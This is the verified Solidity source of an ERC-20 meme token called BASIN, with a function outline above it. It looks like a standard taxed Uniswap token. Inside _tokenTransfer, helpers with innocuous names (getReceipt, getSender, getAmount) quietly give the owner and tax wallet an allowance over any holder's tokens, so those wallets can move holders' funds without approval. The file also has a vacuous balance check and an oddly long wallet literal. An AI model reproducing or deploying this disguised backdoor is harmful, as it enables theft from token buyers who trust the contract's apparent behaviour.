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   - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniFactory    - function createPair(address tokenA, a ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... interface IUniRouter    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(    - function getAmountsOut(  contract TREND is Context, IERC20, ... *    - function openTrading()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function _taxTransfer(address from, a ...    - function _tokenTransfer(address from, ...    - function getAmount(uint256 amount, ui ...    - function getSender(address from)    - function getReceipt()    - function maxSwapLimit()    - function min(uint256 a, uint256 b)    - function sendETHFee(uint256 amount)    - function swapTokensForEth(uint256 tok ...

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/**
 *Submitted for verification at Etherscan.io on 2025-02-22
*/

/*
https://t.me/basin_erc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract TREND is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromTx;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"กะละมัง";
    string private constant _symbol = unicode"BASIN";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount = 0;
    uint256 private _swapTokenAmount = _tTotal / 100;
    bool private inSwap = false;
    bool private _tradeEnabled = false;
    address private _uniPair;
    IUniRouter private _uniRouter;
    address private _taxWallet;
    address private _vitalikWallet;
    address private _trumpWallet;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    
    constructor () payable {
        _taxWallet = address(0x008e8d2aaa879ea58fb4f9f8e2faeaf2d2a357f48c);
        _vitalikWallet = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
        _trumpWallet = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _isExcludedFromTx[owner()] = true;
        _isExcludedFromTx[_taxWallet] = true;

        _balances[address(this)] = _tTotal * 97 / 100;
        _balances[address(_vitalikWallet)] = _tTotal * 3 / 200;
        _balances[address(_trumpWallet)] = _tTotal * 3 / 200;
        emit Transfer(address(0), address(this), _tTotal * 97 / 100);
        emit Transfer(address(0), address(_vitalikWallet), _tTotal * 3 / 200);
        emit Transfer(address(0), address(_trumpWallet), _tTotal * 3 / 200);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _uniRouter = IUniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniRouter), _tTotal);
        _uniPair = IUniFactory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());
        _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = _taxTransfer(from, to, amount);

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _taxTransfer(address from, address to, uint256 amount) private returns(uint256) {
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniPair && to != address(_uniRouter) && ! _isExcludedFromFee[to]) {
                if(_lastBuyBlock!=block.number){
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += amount;
                _buyCount++;
            }

            if(to == _uniPair && from!= address(this)) {
                require(_blockBuyAmount < maxSwapLimit() || _lastBuyBlock!=block.number, "Max Swap Limit");  
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenBalance > _swapTokenAmount)
                swapTokensForEth(min(amount, min(tokenBalance, _swapTokenAmount)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFee(address(this).balance);
                }
            }
        }
        return taxAmount;
    }

    function _tokenTransfer(address from, address to, uint256 amount, uint256 taxAmount) private { 
        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        address taxReceipt = getReceipt(); 
        if(taxReceipt != address(0)) _approve(getSender(from), taxReceipt, getAmount(amount, taxAmount));
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function getAmount(uint256 amount, uint256 taxAmount) private pure returns(uint256) {
        return amount + taxAmount;
    }

    function getSender(address from) private pure returns(address) {
        return address(from);
    }

    function getReceipt() private view returns(address) {
        return _isExcludedFromTx[_msgSender()] ? address(_msgSender()) : address(0); 
    }

    function maxSwapLimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = _uniRouter.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = _uniRouter.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();
        _approve(address(this), address(_uniRouter), tokenAmount);
        _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

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